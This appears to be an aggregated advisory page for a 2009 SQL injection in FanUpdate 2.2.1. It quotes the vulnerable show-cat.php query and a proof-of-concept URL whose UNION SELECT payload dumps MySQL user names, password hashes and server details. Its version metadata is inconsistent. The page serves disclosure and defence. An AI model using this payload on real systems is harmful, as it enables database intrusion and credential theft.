FanUpdate 2.2.1 SQL Injection Vulnerability

vendor:

FanUpdate

by:

InSecurity Romania

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: FanUpdate

Affected Version From: 2.2.2001

Affected Version To: 2.2.2001

Patch Exists: NO

Related CWE: N/A

CPE: 2.2.2001

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

FanUpdate 2.2.1 SQL Injection Vulnerability

The vulnerability exists due to insufficient sanitization of the listingid variable in the show-cat.php file. An attacker can inject their malicious SQL code and gain access to sensitive information such as user credentials, database information, and version information.

Mitigation:

Ensure that all user-supplied input is properly sanitized before being used in SQL queries.

Source

Exploit-DB raw data:

Author : (In)Security Romania

Website : https://insecurity.ro

Vulnerable script : FanUpdate 2.2.1


- Explanation

See show-cat.php file

-----------------------------------------------------------------------------------------------
if (!isset($listingid)) { exit; }

require_once('blog-config.php');
require_once('functions.php');

$fu =& FanUpdate::instance();
$fu->addOptFromDb();

$query = "SELECT * FROM ".$fu->getOpt('catoptions_table')." WHERE cat_id=$listingid LIMIT 1";
-----------------------------------------------------------------------------------------------

listingid variable not checked,we can inject our maliciouse SQL code.

- PoC

http://website/script/show-cat.php?listingid=nuLL/*pwned*/uNiOn+aLL+seLeCt+0,0,coNcAt_ws(0x3a,user,0x3a,password),coNcAt_ws(0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,version()),0,0+frOm+mysql.user--

# milw0rm.com [2009-09-18]